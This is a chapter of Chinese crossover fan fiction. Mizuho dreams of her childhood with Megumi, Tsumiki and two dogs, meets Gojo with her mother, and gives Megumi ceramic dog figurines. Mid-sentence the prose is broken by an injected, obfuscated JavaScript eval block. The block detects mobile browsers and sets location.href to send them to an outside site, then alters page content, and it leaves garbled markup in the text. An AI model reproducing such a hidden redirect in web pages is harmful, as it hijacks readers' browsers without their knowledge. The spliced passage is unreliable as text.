小瑞穗手上的棒冰是奇异果和白桃味的,有水珠浸出来。 伏黑惠从口袋里翻出纸巾,分别递给两人擦。 小瑞穗没收,食指勾着棒冰侧面的拉环,轻轻往上拉,连盖子上的那一点棒冰都不浪费。 又闷又热的夏天,她双手被棒冰塑料外壁的水珠浸湿了,整只手从掌心到指尖,都被一层薄薄的水膜包裹着,闪着粼粼的光。 她两根棒冰一起拆开,啃完盖子里的一小截后,东张西望着找垃圾桶。 伏黑惠叹了口气,伸出手。 于是那两截盖子就由天海瑞穗手中转移到了他掌心里。 她手湿漉漉的,触碰到他的地方都沾上了水珠。 只是已经不像在棒冰上的冰凉,这些水沾染上小瑞穗的体温,温温的。 大概是伏黑惠说了什么,小瑞穗皱皱鼻子,把自己的奇异果棒冰递到他嘴边。 伏黑惠往后仰,摇着头拒绝了。 她于是把白桃味的递到津美纪唇边。 津美纪笑着吃了一口,又把自己手上的咖啡味给她尝。 太阳被蒙在棉花糖一样的纱雾里,但是好热,天海瑞穗觉得自己的脑袋昏昏沉沉的,有点晕。 白色那只狗用鼻子抵了抵她的手指,于是她手上也留下了一小片湿痕。 黑色那只则是朝着身后叫了两声。 天海瑞穗回头。 远远的,她看到一道矮小的身影,走路有点跛,但很快。 天海瑞穗的呼吸骤然停滞,她不太敢去看,却又控制不住地想看。 满头白发的老太太朝着她走来,越来越近,她眼中满是疼爱,却在天海瑞穗伸手想要叫一声“姥姥”的时候,直直地穿过了她的身体。 她听见小瑞穗高高兴兴地叫着姥姥,鞋子踩在地面上,发出“哒哒哒”的声音。 一行四人,姥姥一手牵着小瑞穗,一手牵着津美纪。伏黑惠则走在天海瑞穗旁边。 她们朝着家的方向走去。 没有人回头。 天海瑞穗一言不发地跟上去。 重新走过这一条老巷子,心情却截然不同。 大概是察觉到她心情不佳,于是黑色的这只狗贴在她腿侧,白色的那只穿过几人的身体,又扯又叫,却什么都没咬住。 在走近楼梯口的时候,小瑞穗似有所觉地回过头,视线跃过在她身边跳来跳去的白狗,直直地望向天海瑞穗所在的方向。 几秒后,在津美纪的呼唤中,她回应了一声,几步跨上了楼。 天海瑞穗努力在记忆里搜寻这一天。 夏天的午后,太阳很大,三个人一起分棒冰。 这样的午后实在太多,或许小瑞穗真的感受到了她的存在,但她已经记不清了。 最后,天海瑞穗是抱着两只大狗的脖子睡着的。 再醒来的时候,她已经回到了自己的房间,时间是下午两点钟。 天海瑞穗望着天花板上的灯,怅然若失地发了一会儿呆。 起床后,她直奔家附近的陶艺店。 - 天海瑞穗做陶艺的那家店就在她和天海筑紫敲定的新房子附近,接到店长电话,说捏的两只小狗已经烧制好之后,她就迫不及待地赶去了店里。 一黑一白两只陶瓷小狗,因为它们的样子在她心里非常清楚,所以捏得很像,连神态都捏出来了。 白的更活泼,黑的更沉稳。 天海瑞穗捧着两只小狗看来看去,越看越喜欢,都有点不想送给伏黑惠了。 没错,她想把这两只陶瓷狗送给伏黑惠。 在那个奇怪的梦境里,那两只狗似乎很亲近他。 她甚至没准备包装盒,把两只狗揣进兜里,用手护着,就直接给伏黑惠打了电话。 他说的地址离她倒是挺近。听她说要来,伏黑惠诡异地沉默了一下,说:“你在哪?我过来找你。” 他没问她到底有什么事,只是说来找她。 回忆起梦境里的小小伏黑惠,天海瑞穗觉得自己心软软的。 她摇摇头,想到对面压根看不到,于是说:“没关系,我现在有时间,而且离得很近,所以我去找你就好啦。” 原本按照天海瑞穗的想法,她只需要二十多分钟就可以赶到,但在路上,却意外看到了一道和五条悟很像的身影。 像五条悟,那基本上就是五条悟了。 他无论是脸还是身材,都属于那种万众瞩目的级别,很难认错。 于是,天海瑞穗停下来,隔着一条马路往对面看。 五条悟低着头,在和对面的人说话。 她定睛一看——对面的人怎么和她妈那么像? 不,这绝对是同一个人吧,只是她平时爱穿浅色系的衣服,骤然换上一身黑,她都有点不敢认。 可是,天海筑紫和五条悟是怎么认识的? 就在她为这个消息而震惊的时候,五条悟微微侧过了脸,看见她,很罕见地微微愣了一下,才扬起一个好看的笑,对着她招招手。 他这一招手,天海筑紫也看过来了。 隔得太远,天海瑞穗没法看清她脸上细微的表情变化,只是隐约觉得母亲好像有点无措。 她过了马路,走近一点,更惊讶了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13639214|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不仅是穿着,天海筑紫整个人都变了,她说不上来,只是觉得她气势好强,看上去很不好惹。 仔细看,她神色很自然,问:“你怎么在这儿?” 天海瑞穗如实回答:“我捏了两个陶偶,想送给小惠。” 天海筑紫是知道伏黑惠和津美纪的,但是她从来没有在她面前提起过五条悟,在她的认知里,他们是没有见过面的。 “妈妈,你和悟怎么认识的?”她问。 五条悟笑着把手摊开:“什么陶偶,能给老师看看吗?” 天海瑞穗的手一直放在口袋里,一直都没有松开过手。 此刻,她不说好,也不说不好。只是仰着头:“作为交换,先回答我的问题怎么样?” 这种时候,她语气也是温和的,像是在跟他开玩笑。 五条悟于是也笑:“可以哦,不过这件事还是筑紫前辈来解释比较好。” 他特意加重了“前辈”的发音。 天海瑞穗狐疑地看着他俩。 天海筑紫瞪了五条悟一眼,解释道:“他毕竟是惠和津美纪的监护人,我们认识很奇怪吗?” 那为什么叫你前辈?你们又为什么在这里,还穿成这样? 很想这样咄咄逼人地继续问下去,但天海瑞穗看着母亲的脸,又觉得好像没什么可问的。 反正他们也不会说真话。 不过这次,五条悟却像是看穿了她所有想法,在她脑袋上拍了两下,主动说:“那些都是次要的,筑紫是我的高中前辈啦。” 诶? 天海瑞穗愣住了。 她看向母亲。 同校的震惊胜过了直接叫名字的震惊。 同样拥有一头金发的女人点点头,补充道:“正好在这里遇见悟,就聊了几句。” 天海瑞穗将信将疑:“你们高中是哪里的?” “嗯?你不知道吗?我是小惠的前辈哦。”五条悟倒打一耙,“小瑞穗居然不知道,老师真伤心啊。” 天海瑞穗:“……” 她第一反应是:“所以你是毕业后返校教书?” 这么热爱教育事业? 五条悟猫猫点头。 天海瑞穗又看向母亲,神色复杂:“你还对宗教感兴趣啊?” 她可从来没有听说过。 尽管在心里埋怨着五条悟,但天海筑紫也清楚,她根本就不可能骗天海瑞穗一辈子,于是说:“不算感兴趣,是因为家里的一些事情……和你父亲也是因为这方面才认识的,离婚之后,就彻底没兴趣了。 提到父亲,天海瑞穗一句话都不想再说了。 她把两个被手心捂得暖暖的陶瓷小狗拿出来,给五条悟看。 五条悟摸摸下巴,拖了个长音,敲了下另一只手的掌心:“这样子的啊……” 他看上去好像有很多话要说,但却一句都不肯多说,在天海瑞穗的追问下,居然转移话题:“啊,上次定做的拨片已经做好了哦,老师待会儿就去拿。” 天海瑞穗还想跟他掰扯几句,但一看手机,已经过去了十多分钟。 伏黑惠还在等她。 她于是也不再纠结,收回两只小狗,就朝着伏黑惠给的地址飞奔而去。 - 远远看见一个黑色海胆头,天海瑞穗加快脚步,停在他身前的时候,一时间话都说不出来,先狠狠喘了几口气。 “不用这么着急。”伏黑惠很无奈地说。 二十多分钟的路程,天海瑞穗硬是缩减到了十分钟以内,这会儿缓过气来,就开始觉得热了——她连皮肤都在发烫。 伏黑惠翻出纸巾,她伸手就要接,但没有接到。 因为伏黑直接略过了她对手,用纸巾在她额角轻轻擦拭。 他目光沉静,很专注地看着她,却没有和她对视。 手上的动作很轻柔,像一抹清风,抚去所有的燥热。 有点害羞…… 尽管从小到大被伏黑惠照顾了很多次,但她都已经是高中生了,还让他帮忙擦汗,总感觉奇怪。 天海瑞穗想缩成一团,但看着伏黑惠认真的脸,还是在原地支着,等到伏黑惠帮她擦好,她才松了口气:“谢谢小惠。” 伏黑惠摇头:“你想给我看什么?” 她就说他有读心术吧。 明明什么信息都没有透露,他却能准确地指出她是要给他看某样东西。 天海瑞穗也不卖关子,把两只陶瓷小狗拿出来。 她刚刚一路跑过来的时候,怕它们会因为颠簸而掉出去,手也依旧放在口袋里面。 此刻,一黑一白两只小狗静静坐在她掌心,上面沾染到的温热在微风中慢慢消散。 在看到这对陶瓷狗的那一刻,伏黑惠瞳孔紧缩。 他往前迈了一步,语气比任何时候都要更焦急:“你从哪得到的!” 他穿着一身黑色制服,看起来本来就不太好惹,现在,因为震惊和焦急,不仅音量变大,语气也听着很凶。 看上去完全就像是天海瑞穗被他找麻烦了。 于是,一只手从伏黑惠的侧后方抓过来,不过没能把他拽走,只好改为紧抓着。 另一道身影牵住天海瑞穗的手,把她从伏黑惠和墙角之间拉走,护到身后。 少年留着金色的妹妹头,并不高大,衣服下的肩膀甚至有点纤瘦。但他牵她的手却很紧,足够包住她整只手。 孤爪研磨声音很冷:“你没事吧?”